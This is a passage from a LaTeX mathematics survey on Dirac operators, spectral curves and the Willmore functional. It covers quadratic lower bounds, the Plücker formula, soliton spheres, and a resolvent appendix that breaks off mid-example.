we expose only the results related to the asymptotic behavior of
the spectral curve. Although until recently we did not go through
all details of \cite{Schmidt} we have to say that
{\it in fact the paper \cite{Schmidt} proposes a proof only for
our conjecture (see above). The value of $p_a(\Gamma_\psi)$ is a
priori unbounded however in \cite{Schmidt} the calculations of
values of the Willmore functional are done only for the minimal
possible values of both $p_g(\Gamma)$ and $p_a(\Gamma_\psi)$.}
Following the spirit of the previous conjectures it is natural to guess
that
\begin{itemize}
\item
{\sl given a conformal class of tori in ${\mathbb R}^3$ and a spectral
genus, the minima of the Willmore functional are attained at tori
with the minimal value of $p_a(\Gamma_\psi)$.}
\end{itemize}
This conjecture also fits in the soliton approach since
the additional dergees of freedom coming from $p_a(\Gamma)-p_g(\Gamma)$
(or some part of it, is the flows are linearized on the Prym variety)
also correspond to soliton deformations.
By our opinion these conjectures are interesting by their own
means. We remark that proofs of the last two of them together with
calculations of the values of the Willmore functional for tori
with minimal possible values of $p_g(\Gamma)$ and
$p_a(\Gamma_\psi)$ would lead to checking the Willmore conjecture.
We would like also to mention another interesting problem:
\begin{itemize}
\item
{\sl how to generalize this spectral curve theory
for compact immersed surfaces of
higher genera?}
\end{itemize}
\subsection{On lower bounds for the Willmore functional}
\label{subsec5.3}
In \cite{T21} we established in some special case a lower estimate,
for the Willmore functional, which is quadratic in the dimension of the
kernel of the Dirac operator.
Let represent the sphere as a infinite cylinder $Z$ compactified
by a couple of points such that $z = x+iy$ is a conformal
parameter on $Z$, $y$ is defined modulo $2\pi$, $x \in {\mathbb R}$, and
these two ``infinities'' are achieved as $x \to \pm \infty$.
\begin{lemma}[\cite{T21}]
\label{lemmasphere} Given a sphere in ${\mathbb R}^3$, the asymptotics of
$\psi$ and the potential $U$ are as follows
$$
|\psi_1|^2 + |\psi_2|^2 = C_\pm e^{-|x|} + O(e^{-2|x|}), \ \ \ U =
U_\pm e^{-|x|} + O(e^{-2|x|}) \ \ \ \mbox{as $x \to \pm \infty$},
$$
where $C_\pm$ and $U_\pm$ are constants. If $C_+ = 0$ or $C_- =0$
then there is a branch point at the corresponding marked point $x
= +\infty$ or $x = -\infty$ respectively.
The kernel of ${\cal D}$ on the sphere consists of solutions $\psi$ to
the equation ${\cal D} \psi =0$ on the cylinder such that $|\psi_1|^2 +
|\psi_2|^2 = O(e^{-|x|})$ as $x \to \pm \infty$.
\end{lemma}
Let us assume that the potential $U($ of the Dirac operator depends on $x$ only.
For instance, such a situation realizes for a sphere of revolution for which
$y$ is an angle of rotation.
However this is not only the case
of spheres of revolution and there are more such surfaces with an
intrinsic $S^1$-symmetry reflected by the potential of the
Weierstrass representation.
\begin{theorem}[\cite{T21}]
\label{willmorenumber}
Let ${\cal D}$ be a Dirac operator on $M = S^2$
with a real-valued potential $U=V$ which depends only on the
variable $x$. Then \begin{equation} \label{quadratic} \int_M U^2 dx \wedge dy
\geq \pi N^2 \end{equation} where $N = \dim_{\mathbb H} \mathrm{Ker}\, {\cal D} = \frac{1}{2}
\dim_{\mathbb C}\mathrm{Ker}\, {\cal D}$.
These minimuma are achieved on the potentials
$$
U_N(x) = \frac{N}{2\cosh x}.
$$
\end{theorem}
The proof of this theorem is based on the method of the inverse
scattering problem applied to a one-dimensional Dirac operator.
This quadratic estimate appeared from the trace formulas by
Faddeev and Takhtadzhyan \cite{Faddeev}.
Before giving the proof of Theorem \ref{willmorenumber} we
expose one of its consequences, i.e.
Theorem \ref{theofriedrich}.
Together with the proof of Theorem \ref{willmorenumber} we
introduced the following conjecture.
\begin{conjecture}[\cite{T21}]
\label{taimconj} The estimate (\ref{quadratic}) is valid for all
Dirac operators on a two-sphere.
\end{conjecture}
Very soon after the electronic publication of \cite{T21} appeared
Friedrich demonstrated the following corollary of this conjecture:
\footnote{The conjecture was finally proved by Ferus, Leschke, Pedit, and
Pinkall in \cite{FLPP} together with the generalization of
(\ref{quadratic}), the so-called Pl\"ucker formula, for surfaces
of higher genera (we expose that in \S
\ref{subsec5.4}).}
\begin{theorem}
[\cite{F2}] \label{theofriedrich}
Let us assume that Conjecture
\ref{taimconj} holds.
Given an eigenvalue $\lambda$ of the Dirac
operator on a two-dimensional spin-manifold homeomorphic to the
two-sphere $S^2$, the inequality holds \begin{equation} \label{estfriedrich}
\lambda^2 \mathrm{Area}(M) \geq \pi m^2(\lambda) \end{equation} where
$m(\lambda)$ is the multiplicity of $\lambda$.
\end{theorem}
We remark that due to the symmetry (\ref{ast}) of $\mathrm{Ker}\, D$ the
multiplicity of an eigenvalue is always even. For the case
$m(\lambda)=2$ the inequality (\ref{estfriedrich}) was proved by
B\"ar \cite{Baer}.
{\sc Proof of Theorem \ref{theofriedrich}.} First we recall the
definition of the Dirac operator on a spin-manifold (see
\cite{F3,LM} for detailed expositions).
A spin $n$-manifold $M$ is a Riemannian manifold with a spin
bundle $E$ over $M$ such that at each point $p \in M$ there is
defined a Clifford multiplication
$$
T_p M \times E_p \to E_p
$$
such that
$$
v\cdot w \cdot \varphi + w \cdot v \cdot \varphi = -
2(v,w)\varphi, \ \ \ v,w \in T_p M, \ \psi \in E_p.
$$
We also assume that there is a Riemannian connection $\nabla$
which induces a connection on $E$. Then the Dirac
operator is defined at every point $p \ M$ as
$$
D \varphi = \sum_{k=1}^n e_k \cdot \nabla_{e_k} \varphi
$$
where $e_1,\dots,e_n$ is an orthonormal basis for $T_p M$ and
$\varphi$ is a section of $E$.
We consider as an example a two-dimensional spin manifold $M$ with
a flat metric. The Clifford algebra ${\mathcal Cl}_2$ is
isomorphic to ${\mathbb H}$. Thus we have a ${\mathbb C}^2$-spin bundle over $M$
(here we identify ${\mathbb H}$ with ${\mathbb C} \oplus {\mathbb C}$). For the flat metric
on $M$ the Clifford multiplication is represented by the matrices
$$
e_1 = e_x = \left(\begin{array}{cc} 0 & 1 \\ -1 & 0
\end{array}\right), \ \ \ \ e_2 = e_y = \left(\begin{array}{cc} 0 & -i
\\ -i & 0
\end{array}\right).
$$
It is easy to check that
$$
e_x e_y + e_y e_x = 0, \ \ \ e_x^2 = e_y^2 = - 1.
$$
The Dirac operator $D_0$ is given by the formula
$$
D_0 = e_x\cdot \partial_x + e_y \cdot \partial_y =
2 \left(\begin{array}{cc} 0 & \partial \\
-\bar{\partial} & o
\end{array}\right) = 2 {\cal D}_0
$$
and its square equals to the Laplace operator (up to a sign):
$$
D^2_0 = -\partial^2_x - \partial^2_y.
$$
For a conformally Euclidean metric $e^\sigma dz d\bar{z}$ the
Dirac operator takes the form
$$
D = e^{-3\sigma/4} D_0 e^{\sigma/4}
$$
(see \cite{BFGK}). Therefore the eigenvalue problem
$$
D \varphi = \lambda \varphi
$$
for the Dirac operator associated with such a metric takes the
form
$$
D_0[e^{\sigma/4} \varphi] - \lambda e^{\sigma/2}
[e^{\sigma/4}\varphi] = 0
$$
which we rewrite as
$$
({\cal D}_0 + U)\psi = 0, \ \ \ \ \ U = -\frac{\lambda e^{\sigma/2}}{2},
\ \ \psi = e^{\sigma/4}\varphi.
$$
If Conjecture \ref{taimconj} holds we have the inequality
$$
\int_M U^2 dx \wedge dy = \frac{\lambda^2}{4} \mathrm{Area} (M)
\geq \pi \left( \frac{\dim_{\mathbb C} \mathrm{Ker}\, (D_0 + U)}{2}\right)^2 = \pi
\frac{m^2(\lambda)}{4}.
$$
This proves Theorem \ref{theofriedrich}.
{\sc Proof of Theorem \ref{willmorenumber}.}
If the potential $U$ depends only on $x$
the linear space of solutions to ${\cal D} \psi = 0$ on the sphere
$S^2 = Z \cup \pm \infty = {\mathbb R}_x \times S^1_y \cup \infty$
is spanned by the functions of the form
$\psi(x,y) = \varphi(x)e^{\varkappa y}$ such that
$$
L \varphi :=
\left[\left(
\begin{array}{cc}
0 & \partial_x \\
- \partial_x & 0
\end{array}
\right) + \left(
\begin{array}{cc}
2U & 0 \\
0 & 2U
\end{array}\right)\right]
\varphi
=
\left(
\begin{array}{cc}
0 & i\varkappa \\
i\varkappa & 0
\end{array}
\right) \varphi
$$
where $e^{2\pi \varkappa} = - 1$ (this condition defines the spin
bundle over the sphere, see \cite{T12}) and $\varphi$ is
exponentially decaying as $x \to \pm \infty$. This means that
$\varphi$ is the bounded state of $L$, i.e. $\varkappa$ belongs to
the discrete spectrum which is invariant with respect to the
complex conjugation $\varkappa \to \bar{\varkappa}$. Therefore
$\dim_{\mathbb C} {\cal D}=2N$ is twice the number of bounded states meeting the
condition ${\mathrm{Im}\, } \varkappa > 0$.
The trace formula (\ref{zs8}) (see Appendix 3) for for $p=q=2U$
takes the form
$$
\int^\infty_{-\infty} U^2(x)dx = -\frac{1}{4\pi}
\int^\infty_{-\infty} \log (1-|b(k)|^2)dk + \sum_{j=1}^N
{\mathrm{Im}\, } \varkappa_j.
$$
Given $\dim \mathrm{Ker}\, {\cal D} = N$, the functional $\int_M U^2(x) dx \wedge dy =
2\pi \int^\infty_{-\infty} U^2(x) dx$
achieves its minimum on the potential with the following spectral data:
$$
b(k) \equiv 0, \ \ \varkappa_k = \frac{i(2k-1)}{2}, \ k=1,\dots,N,
$$
and we have
$$
\int_{S^2} U^2(x) dx \wedge dy \geq 2\pi \left(\frac{1}{2} +
\frac{3}{2} + \dots + \frac{N}{2} \right) = \pi N^2.
$$
Actually there is $N$-dimensional family of potentials with such the
spectral data and it is parameterized by $\lambda_1,\dots,\lambda_N$
and moreover this family is invariant with respect to the mKdV
equations. It is easy to show that every such a family contains the
potential $U_N = \frac{N}{2\cosh x}$; $p_N(x) = 2U_N(x) = N/\cosh x$
is the famous $N$-soliton potential of the Dirac operator.
Theorem \ref{willmorenumber} is proved.
We see that the equality in (\ref{quadratic}) is achieved on some
special spheres which are particular cases of the so-called {\it
soliton spheres} introduced in \cite{T21}. By definition, these
are spheres for which potential of the Dirac operator ${\cal D}$ is a
soliton (reflectionless) potential $U(x)$. It is also worth to
select a special subclass of soliton spheres distinguished by the
condition that all poles $\varkappa_1,\dots,\varkappa_N, {\mathrm{Im}\, }
\varkappa_k > 0$, of the transition coefficient $T(k)$ are of the
form $\frac{(2m+1)i}{2}$, $m \in N$.
Soliton spheres are easily constructed from the spectral data via
the inverse scattering method (see (\ref{zs9}) in Appendix 3).
We showed in \cite{T21} that
\begin{itemize}
\item
the lower estimate (\ref{quadratic}) achieves the equality on the
soliton spheres corresponding to the potentials $U_N =
\frac{N}{2\cosh x}$);
\item
generically a soliton sphere is not a surface of revolution.
\footnote{Indeed, let us denote by $f_1 = \varphi_1(x)e^{\varkappa_1
y},\dots, f_n = \varphi_N e^{\varkappa_N y}$ the distinct
generators of $\mathrm{Ker}\, {\cal D}$. Then any linear combination $f = \alpha_1
f_1 + \dots + \alpha_N f_N$ via the Weierstrass representation
gives rise to a sphere in ${\mathbb R}^3$. If there is a pair of
nonvanishing coefficients $\alpha_j$ and $\alpha_k$ such that ${\mathrm{Im}\, }
\varkappa_j \neq {\mathrm{Im}\, } \varkappa_k$ then this sphere is not a
surface of revolution.}
\item
the class of soliton spheres is preserved by the mKdV deformations
(note that they are defined by $1+1$-equations) for which the
Kruskal--Miura integrals are integrals of the motion;
\item
soliton spheres corresponding to the potentials $U_N =
\frac{N}{2\cosh x}$ are described in terms of rational functions,
\footnote{From the reconstruction formulas
(\ref{zs9}) it is clear that that holds for all reflectionless
potentials.} i.e.
they can be called rational spheres;
\item
soliton spheres such that each pole $\varkappa_j$ is of the form
$\frac{(2m_j+1)i}{2}$ are critical points of the Willmore
functional restricted onto the class of spheres with
one-dimensional potentials.
\end{itemize}
\subsection{The Pl\"ucker formula}
\label{subsec5.4}
Our attempts to prove Conjecture \ref{taimconj} had failed due to
the lack of well-developed inverse scattering method for
two-dimensional operators. However in a fabulous paper \cite{FLPP}
this conjecture was proved together with its generalization for
surfaces of arbitrary genera
by using methods of algebraic geometry.
As it was mentioned in \cite{PP} the following statement can be
derived from the results of \cite{Aron} (see also \cite{HW}):
\begin{proposition}
Let $E$ be a $C^2$-bundle over a surface $M$ $\psi$ and let $\psi$
be a nontrivial section of $E$ such that ${\cal D} \psi =0$. Then the
zeroes of $\psi$ are isolated and for any local complex coordinate
$z$ on $M$ centered at some zero $p$ of the function $\psi$:
$z(p)=0$, we
have
$$
\psi = z^k \varphi + O(|z|^{k+1})
$$
where $\varphi$ is a local section of $E$ which does not vanish in
a neighborhood of $p$. The integer $k$ is well-defined independent
of choice $z$.
\end{proposition}
This integer number $k$ is called the order of the zero $p$:
$$
{\mathrm{ord}\,}_p \psi = k.
$$
Now recall the Gauss equation (see Proposition \ref{prop1} in \S \ref{subsec2.1}):
\begin{equation}
\label{gaussquat}
\alpha_{z\bar{z}} + U^2 - |A|^2
e^{-2\alpha} = 0, \ \ \ e^\alpha = |\psi_1|^2+|\psi_2|^2.
\end{equation}
For simplicity, we assume that $M$ is a sphere and $E$ is a spin
bundle. If $\psi$ vanishes nowhere then it defines a surface in
${\mathbb R}^3$ and integrating the left-hand side of (\ref{gaussquat})
over $M$ we obtain \begin{equation} \label{gaussquat1} \int_M
\alpha_{z\bar{z}} dx \wedge dy + \int_M U^2 dx \wedge dy - \int_M
|A|^2 e^{-2\alpha} dx \wedge dy = 0. \end{equation} By the Gauss theorem,
the first term equals
$$
-\frac{1}{4} \int_M \left(-4\alpha_{z\bar{z}}e^{-2\alpha}\right)
e^{2\alpha} dx \wedge dy = -\frac{1}{4} \int_M K d\mu = -\pi,
$$where $K$ is the Gaussian curvature and $d\mu$ is the measure
corresponding to the induced metric. Thus we have \footnote{For
general complex quaternionic line bundles $L =E_0 \oplus E_0$ we
have $\int_M \alpha_{z\bar{z}} dx \wedge dy = \pi \deg E_0 = \pi
d$.}
$$
\int_M U^2 dx \wedge dy = \pi + \int_M |A|^2 e^{-2\alpha} dx
\wedge dy \geq -\int_M \alpha_{z\bar{z}} dx \wedge dy =\pi.
$$
In general for any surface and for any section $\psi$ satisfying
${\cal D} \psi = 0$ (i.e. we do not assume here that $\psi$ does not
vanish anywhere) we have
$$
\int_M U^2 dx \wedge dy = \pi (-\deg E_0 + \sum_p {\mathrm{ord}\,}_p \psi) + \int_M |A|^2 e^{-2\alpha} dx
\wedge dy \geq
$$
$$
\geq \pi (-\deg E_0 + \sum_p {\mathrm{ord}\,}_p \psi)
$$
(see \cite{PP}). The integrand $|A|^2 e^{-2\alpha}$ has
singularities in the zeros of $\psi$ however the integral
converges and is non-negative.
Returning to the case of spin bundles over spheres ($\deg E_0 = g-1=-1$) and assuming that
$\dim_{\mathbb H} \mathrm{Ker}\, {\cal D} = N$ we take a point
$p$ and choose a function $\psi \in \mathrm{Ker}\, {\cal D}$ such that ${\mathrm{ord}\,}_p
\psi = \dim \mathrm{Ker}\,_{\mathbb H} {\cal D} -1 = N-1$.
Now we substitute $\psi$ in (\ref{gaussquat}) and obtain
$$
\int_M U^2 dx \wedge dy = \pi(1 + N-1) + \int_M |A|^2 e^{-2\alpha}
dx \wedge dy \geq \pi N.
$$
However this estimate is too rough since we see from the proof of
Theorem \ref{willmorenumber} that not only the function from $\mathrm{Ker}\,
{\cal D}$ with the maximal order of zeros contributes to lower bounds
for the Willmore functional and it needs to consider the flag of
functions.
In \cite{FLPP} the deep analogy of this problem to the Pl\"ucker
formulas which relate the degrees and the ramification indices of
the curves associated to some algebraic curve in ${\mathbb C} P^n$ was
discovered. This enables to write down this flag and count the
contribution of the whole kernel of ${\cal D}$ into the Willmore
functional. Finally this led to the establishing of the estimates
for the Willmore functional which are quadratic in $\dim_{\mathbb H} \mathrm{Ker}\,
{\cal D}$.
To formulate the main result of \cite{FLPP} we introduce some definitions. Let $H$ be a subspace of $\mathrm{Ker}\, {\cal D}$.
For any point $p$ we put
$$
n_0(p) = \min {\mathrm{ord}\,}_p \psi \ \ \ \mbox{for $\psi \in H$}.
$$
Then successively we define
$$
n_k(p) = \min {\mathrm{ord}\,}_p \psi \ \ \ \mbox{for $\psi \in H$ such that ${\mathrm{ord}\,}_p \psi > n_{k-1}(p)$}.
$$
We have the Weierstrass gap sequence
$$
n_0(p) < n_1(p) < \dots < n_{N-1}(p), \ \ \ N = \dim_{\mathbb H} H,
$$
and a chain of embeddings
$$
H = H_0 \supset H_1 \supset \dots \supset H_{N-1}
$$
with $H_k$ consisting of $\psi$ such that ${\mathrm{ord}\,}_p \psi \geq
n_k(p)$. Then we define the order of a linear system $H$ at the
point $p$ as
$$
{\mathrm{ord}\,}_p H = \sum_{k=0}^{N-1}(n_k(p) - k) = \sum_{k=0}^{N-1} n_k(p) - \frac{1}{2}N(N-1).
$$
We say that $p$ is a Weierstrass point if ${\mathrm{ord}\,}_p H \neq 0$.
Now we can formulate the main result of this theory:
\begin{theorem}
[\cite{FLPP}] \label{theoFLPP} Let $H \subset \mathrm{Ker}\, {\cal D}$ and $\dim_{\mathbb H}
H = N$. Then
\begin{equation}
\label{plucker}
\int_M U^2 dx \wedge dy =\pi( N^2(1-g) + {\mathrm{ord}\,} H) + {\cal A}(M),
\end{equation}
where the term ${\cal A}(M)$
is non-negative and reduces to
the term $\int_M |A|e^{-2\alpha} dx \wedge dy$
in the case of (\ref{gaussquat1}).
\end{theorem}
In fact the main result of
\cite{FLPP} works for Dirac operators ${\cal D}$ with complex conjugate potentials $U=\bar{V}$
\footnote{In this case ${\cal W} = \int UV dx \wedge dy = \int |U|^2 dx \wedge dy$
where ${\cal W}$ is the Willmore functional.}
on arbitrary complex quaternionic line bundles of
arbitrary degree $d$ (this is straightforward from the proof) and
explains the term ${\cal A}(M)$ in the terms of dual curves:
$$
\int_M |U|^2 dx \wedge dy = \pi( N((N-1)(1-g)-d) + {\mathrm{ord}\,} H) + {\cal A}(M),
$$
where $g$ is the genus of $M$ and $d = \deg L = \deg E_0$.
In Theorem \ref{theoFLPP} we assume that $d=g-1$, i.e. the case which is interesting
for the surface theory.
For $U=0$ we have also ${\cal A}(M)=0$ and the
Pl\"ucker formula reduces to the original Pl\"cker relation for
algebraic curves (see, for instance, \cite{GH}):
$$
{\mathrm{ord}\,} H = N((N-1)(g-1)+d).
$$
For $g=0$ we have
\begin{corollary}
[\cite{FLPP}]
Conjecture \ref{taimconj} is valid: $\int U^2 dx \wedge dy \geq \pi N^2$.
\end{corollary}
For $g \geq 1$ we have an effective lower bound only in terms of ${\mathrm{ord}\,} H$ because the term quadratic in $N$
vanishes for $g=1$ and is negative for $g > 1$.
For obtaining effective lower bounds for the Willmore functional in \cite{FLPP}
it was proposed to use some special linear systems
$H$. Let $\dim_{\mathbb H} \mathrm{Ker}\, {\cal D} = N$. We take in $\mathrm{Ker}\, {\cal D}$ a $k$-dimensional
linear system $H$ distinguished by
the condition that for all $\psi \in H$ we have ${\mathrm{ord}\,}_p \psi \geq N-k$ for some fixed point $p$.
The Weierstrass gap sequence at this point meets the inequality
$$
n_l(p) \geq N-k+l, \ \ \ l=0,\dots,k-1,
$$
and therefore ${\mathrm{ord}\,}_p H \geq k(N-k)$.
From (\ref{plucker}) we have
\begin{equation}
\label{pluck1}
\int U^2 dx \wedge dy \geq \pi(k^2(1-g) + k(N-k)) = kN - k^2 g.
\end{equation}
If $g=0$ then the right-hand side attains its maximum at $k=N$
and we have the estimate (\ref{quadratic}).
If $g\geq 1$ then the function $f(x) = xN - x^2 g$ attains its maximum at $x_{\max} = \frac{N}{2g}$.
Therefore the right-hand side in (\ref{pluck1}) attains its maximum either at
$k = \left[\frac{N}{2g}\right]$ or at $\left[\frac{N}{2g}\right]+1$, the integer point which is
closest to $x_{\max}$. From that it is easy to derive the rough lower bound valid for all $g$.
Of course for special cases this bound can be improved as, for instance, in the case $g=1$:
\begin{corollary}
[\cite{FLPP}]
We have
\begin{equation}
\label{pluck2}
\int U^2 dx \wedge dy \geq \frac{\pi}{4g} \left( N^2 - g^2 \right)
\end{equation}
for $g>1$ and
\begin{equation}
\label{pluck3}
\int U^2 dx \wedge dy \geq
\begin{cases}
\frac{\pi N^2}{4} & \text{for $N$ even} \\
\frac{\pi (N^2-1)}{4} & \text{for $N$ odd}
\end{cases}
\end{equation}
for $g=1$.
\end{corollary}
The proof of Theorem \ref{theofriedrich} works straightforwardly for deriving the following corollary.
\begin{corollary}
[\cite{FLPP}]
Given an eigenvalue $\lambda$ of the Dirac
operator on a two-dimensional spin-manifold of genus $g$,
the following inequalities hold:
$$
\lambda^2 \mathrm{Area}(M) \geq
\begin{cases}
\pi m^2(\lambda) & \text{for $g=0$} \\
\frac{\pi}{g}(m^2(\lambda) - g^2) & \text{for $g \geq 1$},
\end{cases}
$$
where $m(\lambda)$ is the multiplicity of $\lambda$.
\end{corollary}
Another important application of (\ref{pluck3}) concerns the lower bounds for
the area of CMC tori in ${\mathbb R}^3$ and minimal tori in $S^3$. One can see from the explicit
construction of the spectral curves (see \S \ref{subsec4.6}) that in both cases
the normalized spectral curves are hyperelliptic curves
$$
\mu^2 = P(\lambda)
$$
such that a pair of branch points correspond to the ``infinities'' $\infty_\pm$.
There are also $2g$ other branch points (here $g$ is the genus of this
hyperelliptic curve)
at which the multipliers of Floquet functions equal $\pm 1$
(this is by the construction of the spectral curve).
Moreover there are also a pair of points interchanged by the hyperelliptic involution
at which the multipliers are also $\pm 1$ (the tori are constructed via these Floquet functions
as it is shown in \cite{Hitchin} and \cite{Bobenko}). Thus we have the space $F$ with $\dim_{\mathbb C} F =2g+2$
consisting of solutions to ${\cal D} \psi =0$ with multipliers $\pm 1$.
Let us take $4$-sheeted covering $\widehat{M}$ of a torus $M$ which doubles both periods.
The pullbacks of the functions from $F$ onto this covering are double-periodic functions,
i.e. they are sections of the same spin bundle over $\widehat{M}$.
The complex dimension of the kernel of ${\cal D}$ acting on this spin bundle is at least
$2g+2$ and thus $\dim_{\mathbb H} \mathrm{Ker}\, {\cal D} \geq g+1$.
Applying (\ref{pluck3}) we obtain the lower bounds for
$\int |U|^2 dx \wedge dy$.
For CMC tori we have $H=1$ and $U=\frac{e^\alpha}{2}$. Thus
$$
\int_{\widehat{M}} U^2 dx \wedge dy = \frac{1}{4} \mathrm{Area} (\widehat{M}) = \mathrm{Area} (M).
$$
For minimal tori in $S^3$ we have $U = -\frac{ie^\alpha}{2}$ and thus
$\int_{\widehat{M}} |U|^2 dx \wedge dy = \mathrm {Area} (M)$.
We derive
\begin{corollary}
For minimal tori in $S^3$ and CMC tori in ${\mathbb R}^3$ of spectral genus $g$ we have
the following lower bounds for the area:
$$
\mathrm{Area} \geq
\begin{cases}
\frac{\pi (g+1)^2}{4} & \text{for $g$ odd} \\
\frac{\pi ((g+1)^2-1)}{4} & \text{for $g$ even}.
\end{cases}
$$
\end{corollary}
In \cite{FLPP} it is remarked that it follows from \cite{Hitchin}
that for minimal tori in $S^3$ the bound can be improved by replacing $g+1$ by $g+2$.
Moreover it is valid for the energy of all harmonic tori in $S^3$ however we do not discuss
the spectral curves of harmonic tori in this paper.
Recently the genus of the spectral curve was applied by Haskins to
completely another problem: to study special Lagrangian $T^2$-cones in ${\mathbb C}^3$ \cite{Haskins}.
He obtained linear (in the genus) lower bounds for some quantities characterizing the geometric complexity
of such cones and conjectured that these bounds can be improved to quadratic bounds.
We note that the methods of \cite{Haskins} are completely different from methods used in \cite{FLPP}.
The contribution of the term ${\mathrm{ord}\,} H$ is easily demonstrated by soliton spheres such that
the poles of the transition coefficient are of the form $(2l+1)i/2$. In this case ${\mathrm{ord}\,} \mathrm{Ker}\, {\cal D}$ counts
the gaps in filling these energy levels.
Recently the definition of soliton spheres was generalized in the
spirit of the lower estimates for the Willmore functional: a sphere
is called soliton if for it the ``Pl\"ucker inequality''
$$
\int_M |U|^2 dx \wedge dy \geq \pi( N^2(1-g) + {\mathrm{ord}\,} H)
$$
becomes an equality, i.e. ${\cal A}(M)=0$ \cite{Peters}.
As it was showed by Bohle and Peters \cite{BP}
this class contains many other interesting surfaces.
Before formulating their result we recall that Bryant surfaces are just surfaces of constant mean curvature one in
the hyperbolic three space \cite{Bryant11}. By \cite{BP}, Bryant surface $M$ in the Poincare ball model
$B^3 \subset {\mathbb R}^3$ is a smooth Bryant end if there is a point $p_\infty$ on the asymptotic boundary
$\partial B^3$ such that $M \cup p_\infty$ is a conformally immersed open disc in ${\mathbb R}^3$.
Generally a Bryant surface is called a compact Bryant surface with smooth ends
if it is conformally equivalent to a compact surface
with finitely many punctured points at which the surface have open neighborhoods isometric to smooth Bryant ends.
It is clearly a generalization of minimal surfaces with planar ends.
We have
\begin{theorem}
[\cite{BP}]
Bryant spheres with smooth ends are soliton spheres.
The possible values of the Willmore functional for such spheres are $4\pi N$ where $N$
is positive natural number which is non-equal to $2,3,5$, or $7$.
\end{theorem}
As it was mentioned by Bohle and Peters they were led to this theorem by the observation that the
simplest soliton spheres corresponding to the potentials $U_N = \frac{N}{2\cosh x}$
can be treated as Bryant spheres with smooth ends.
They also announced that all Willmore spheres are soliton spheres
(we remark that by the results of Bryant and Peng the Willmore functional has the same possible
values
for Willmore spheres as for Bryant spheres with smooth ends \cite{Bryant1,Bryant2,Peng}).
\subsection{The Willmore type functionals for surfaces in
three-dimensional Lie groups} \label{subsec5.5}
The formula (\ref{willmoreformula}) shows that it is reasonable to
consider the functional
$$
E(\Sigma) = \int_\Sigma UV dx \wedge dy
$$
for surfaces. For tori it measures the asymptotic flatness of the
spectral curve and for surfaces in ${\mathbb R}^3$ it equals $E =
\frac{1}{4}{\cal W}$ (\cite{T1}). In \cite{Berdinsky} this functional was
considered for surfaces in other Lie groups and was called the
energy of a surface. Although the product $UV$ is not always
real-valued for closed surfaces the functional is real-valued and
equals
\begin{itemize}
\item
for $SU(2)$ \cite{T3}:
$$
E = \frac{1}{4}\int (H^2 +1) d\mu,
$$
i.e. it is a multiple of the Willmore functional;
\item
for ${\mathrm{Nil}\, }$ \cite{Berdinsky}:
$$
E = \frac{1}{4} \int
\left( H^2 + \frac{\widehat{K}}{4} - \frac{1}{16} \right)
d \mu;
$$
\item
for $\widetilde{SL}_2$ \cite{Berdinsky}:
$$
E(M) = \frac{1}{4} \int_M \left( H^2 +
\frac{5}{16} \widehat{K} - \frac{1}{4} \right) d \mu;
$$
\item
for surfaces in ${\mathrm{Sol}\, }$,
since the potentials have indeterminacies on the zero measure set,
the energy $E$ is correctly defined.
However we do not know until recently its geometric meaning.
\end{itemize}
We recall that by $\widehat{K}$ we denote the sectional curvature of the ambient space
along the tangent plane to a surface.
These functionals were not studied and many problems are open:
1) are they bounded from below (some numerical experiments confirm that)?
2) what are their extremals?
3) what are the analogs of the Willmore conjecture for them?
\medskip
\addcontentsline{toc}{section}{Appendix 1. On the existence of the
spectral curve for
the Dirac operator with $L_2$-potentials}
\subsection*{Appendix 1. On the existence of the spectral curve for
the Dirac operator with $L_2$-potentials}
{\small
In this appendix we expose the proof of Theorem \ref{l2} following
\cite{Schmidt} where, as we think, the exposition is too short.
Moreover the ideas of the proof of this theorem are essential for
proving the main result of \cite{Schmidt2}: the minimum of the
Willmore functional in a given conformal class of surfaces is
constructed as follows. We consider the infimum of the Willmore
functional in this class and take in this class a sequence of
surfaces (or, more precisely their Weierstrass representations)
with the values of the Willmore functional converging to the
infimum. Then there is a weakly converging sequence of potentials
of the corresponding Dirac operators. The Dirac operator with the
limit potential also has a nontrivial kernel (this follows from
the converging of the resolvents) and the desired minimizing
surface is constructed from a function from this kernel by the
Weierstrass representation. Of course it is necessary to control
the smoothness which is possible. However in \cite{Schmidt2} it is
mentioned that one can not say that there are no the absence of
branch points of the limit surface.
The analog of the decomposition (\ref{dec}) is the following
sequence
\begin{equation}
\label{dec2} L_p \stackrel{({\cal D}_0 - E_0)^{-1}}{\longrightarrow}
W^1_p \stackrel{\mathrm{Sobolev's\ embedding}}{\longrightarrow}
L_{\frac{2p}{2-p}}
\stackrel{\mathrm{multiplication}}{\longrightarrow} L_p, \ \ \
p<2.
\end{equation}
All operators coming in the sequence are only continuous and we
can not argue as in \S \ref{subsec4.2}.
Let $M = {\mathbb C}/\Lambda$ be a torus and $z$ be a linear complex
coordinate on $M$ defined modulo $\Lambda$. Denote by
$\rho(z_1,z_2)$ a distance between points $z_1, z_2 \in M$ in the
metric induced by the Euclidean metric on ${\mathbb C}$ via the projection
${\mathbb C} \to {\mathbb C}/\Lambda$.
The following proposition is derived from the definition of the resolvent
$$
({\cal D}_0 - E) R_0(E) = \delta(z-z^\prime)
$$
by straightforward computations.
\begin{proposition}
The resolvent
$$
R_0(E) = ({\cal D}_0 - E)^{-1}: L_2 \to W^1_2 \to L_2
$$
of the free operator ${\cal D}_0: L_2 \to L_2$ is an integral matrix
operator
$$
f(z,\bar{z}) \to [R_0(E)f](z,\bar{z}) = \int_M K_0(z,z^\prime,E)
f(z^\prime,\overline{z^\prime}) dx^\prime dy^\prime, \ \ \
z^\prime =x^\prime + i y^\prime,
$$
with the kernel $ K_0(z,\bar{z},z^\prime,\overline{z^\prime},E) =
\left(
\begin{array}{cc}
r_{11} & r_{12} \\
r_{21} & r_{22}
\end{array}
\right), r_{ik} =
r_{ik}(z,\bar{z},z^\prime,\overline{z^\prime},E),$ where
$$
r_{12} = \frac{1}{E} \partial r_{22}, \ \ \ r_{21} = - \frac{1}{E}
\bar{\partial} r_{11},
\ \ \
\frac{1}{E} ( \partial \bar{\partial} + E^2) r_{11} =
\frac{1}{E} ( \partial \bar{\partial} + E^2) r_{22} =
-\delta(z-z^\prime).
$$
\end{proposition}
\begin{corollary}
The integral kernel of $R_0(E)$ equals
$$
K_0(z,z^\prime,E) = \left(
\begin{array}{cc}
-E G & - \partial{G} \\
\bar{\partial} G & - E G
\end{array}
\right),
$$
where $G$ is the (modified) Green on the Laplace operator on the
torus $M$:
$$
(\partial \bar{\partial} + E^2) G(z,z^\prime,E) =
\delta(z-z^\prime).
$$
\end{corollary}
{\sc Example.} Given a torus $M = {\mathbb C}/\{2\pi {\mathbb Z} + 2\pi i {\mathbb Z}\}$, we
